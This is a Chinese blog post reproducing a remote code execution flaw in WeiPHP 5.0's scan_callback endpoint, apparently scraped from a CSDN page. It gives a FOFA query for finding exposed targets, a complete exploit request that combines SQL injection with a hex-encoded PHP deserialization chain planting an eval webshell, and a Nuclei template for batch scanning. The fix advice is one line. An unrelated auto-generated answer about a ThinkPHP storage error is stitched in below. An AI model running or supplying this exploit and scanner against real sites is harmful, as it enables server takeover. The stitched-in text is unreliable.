漏洞复现-weiphp5.0 scan_callback代码执行漏洞

漏洞描述

weiphp 是一个开源,高效,简洁的微信开发平台,它是基于 oneThink 这个简单而强大的内容管理框架实现的。weiphp 的目的是最大化的简化微信开发的流程,使用开发者能把最好的精力放到微信具体业务开发,并能以最快的时间完成。把一些常规而频繁的工作交由 weiphp 来处理即可。

影响版本

WeiPHP5.0

漏洞复现

FOFA:(body="content=\"WeiPHP" || body="/css/weiphp.css" || title="weiphp" || title="weiphp4.0")

 漏洞数据包:

POST /public/index.php/weixin/Notice/index?img=echo+md5(123);exit(); HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 1340
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

<xml>
<product_id>aaaa</product_id>
<appid>exp</appid>
<appid>=0) union select 1,2,3,4,5,6,7,0x4f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a323a7b733a393a22002a00617070656e64223b613a313a7b733a333a226c696e223b613a313a7b693a303b733a323a223131223b7d7d733a31373a22007468696e6b5c4d6f64656c0064617461223b613a313a7b733a333a226c696e223b4f3a31333a227468696e6b5c52657175657374223a353a7b733a373a22002a00686f6f6b223b613a323a7b733a373a2276697369626c65223b613a323a7b693a303b723a383b693a313b733a353a226973436769223b7d733a363a22617070656e64223b613a323a7b693a303b723a383b693a313b733a363a226973416a6178223b7d7d733a393a22002a0066696c746572223b613a313a7b693a303b613a323a7b693a303b4f3a32313a227468696e6b5c766965775c6472697665725c506870223a303a7b7d693a313b733a373a22646973706c6179223b7d7d733a393a22002a00736572766572223b733a313a2231223b733a393a22002a00636f6e666967223b613a313a7b733a383a227661725f616a6178223b733a333a22696d67223b7d733a363a22002a00676574223b613a313a7b733a333a22696d67223b733a33303a223c3f70687020406576616c28245f524551554553545b27696d67275d293b223b7d7d7d7d7d7d,9,10,11,12-- </appid>
<mch_id>aaa</mch_id>
<nonce_str>aaa</nonce_str>
<openid>aaa</openid>
</xml>

执行MD5加密值

使用MD5进行解密

批量检测

id: weiphp-cms-scan_callback-rce

info:
  name: weiphp-cms-scan_callback-rce
  author: unknow
  severity: critical
  description: weiphp5.0 scan_callback 存在代码执行漏洞。
  tags: weiphp,rce
  metadata:
    fofa-query: (body="content=\"WeiPHP" || body="/css/weiphp.css" || title="weiphp" || title="weiphp4.0")
http:
  - raw:
      - |
        POST /public/index.php/weixin/Notice/index?img={{rce}}exit(); HTTP/1.1
        Host: 
        Content-Type: application/x-www-form-urlencoded

        <xml>
        <product_id>aaaa</product_id>
        <appid>exp</appid>
        <appid>=0) union select 1,2,3,4,5,6,7,0x4f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a323a7b733a393a22002a00617070656e64223b613a313a7b733a333a226c696e223b613a313a7b693a303b733a323a223131223b7d7d733a31373a22007468696e6b5c4d6f64656c0064617461223b613a313a7b733a333a226c696e223b4f3a31333a227468696e6b5c52657175657374223a353a7b733a373a22002a00686f6f6b223b613a323a7b733a373a2276697369626c65223b613a323a7b693a303b723a383b693a313b733a353a226973436769223b7d733a363a22617070656e64223b613a323a7b693a303b723a383b693a313b733a363a226973416a6178223b7d7d733a393a22002a0066696c746572223b613a313a7b693a303b613a323a7b693a303b4f3a32313a227468696e6b5c766965775c6472697665725c506870223a303a7b7d693a313b733a373a22646973706c6179223b7d7d733a393a22002a00736572766572223b733a313a2231223b733a393a22002a00636f6e666967223b613a313a7b733a383a227661725f616a6178223b733a333a22696d67223b7d733a363a22002a00676574223b613a313a7b733a333a22696d67223b733a33303a223c3f70687020406576616c28245f524551554553545b27696d67275d293b223b7d7d7d7d7d7d,9,10,11,12-- </appid>
        <mch_id>aaa</mch_id>
        <nonce_str>aaa</nonce_str>
        <openid>aaa</openid>
        </xml>

    payloads:
      rce:
        - "echo+md5(123);"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1==500 && contains(body_1, "202cb962ac59075b964b07152d234b70") && contains(header_1, "text/html")'

#执行:echo+md5(123);system('whoami');

 修复建议

请关注官网更新 :https://www.weiphp.cn/

  • 9
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
引用\[1\]:错误位置FILE: /export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Storage/Driver/File.class.php  LINE: 47TRACE#0 /export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Storage/Driver/File.class.php(47): E('_STORAGE_WRITE_...')#1 \[internal function\]: Think\Storage\Driver\File->put('./Application/R...', ' 。 引用\[2\]:#2 /export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Storage.class.php(37): call_user_func_array(Array, Array)#3 /export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Template.class.php(110): Think\Storage::__callstatic('put', Array)#4 /export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Template.class.php(110): Think\Storage::put('./Application/R...', ' 。 引用\[3\]:Thinkphp二次开发的程序很多,不得不说这是一个非常强大的程序,稍加开发,就能成为功能齐全的成品程序,无忧主机php免备案空间中也有很多这样的程序。无忧小编今天遇到一个客户,他说他安装网站的时候遇到报错了,报错内容如下: 。 问题:STORAGE_WRITE_ERROR 回答: STORAGE_WRITE_ERROR是一个错误信息,它出现在/export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Storage/Driver/File.class.php文件的第47行。这个错误通常是由于存储驱动器无法写入文件导致的。\[1\]根据错误信息的堆栈跟踪,可以看到在/export/app/admin.xxx.com.cn/ThinkPHP/Library/Think/Storage/Driver/File.class.php文件的put方法中出现了错误。\[2\]这个错误可能是由于权限问题或者文件路径错误引起的。如果您遇到这个错误,您可以检查文件的权限和路径是否正确,并确保存储驱动器有写入文件的权限。\[3\]如果问题仍然存在,您可以尝试联系程序开发者或者技术支持寻求帮助。 #### 引用[.reference_title] - *1* *2* [ThinkPHP3.2.2报错:_STORAGE_WRITE_ERROR_,_PHP教程](https://blog.csdn.net/weixin_42514616/article/details/116060696)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Weiphp安装报错 STORAGE_WRITE_ERROR_:./Runtime/Cache/Install/](https://blog.csdn.net/weixin_36115023/article/details/116060697)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值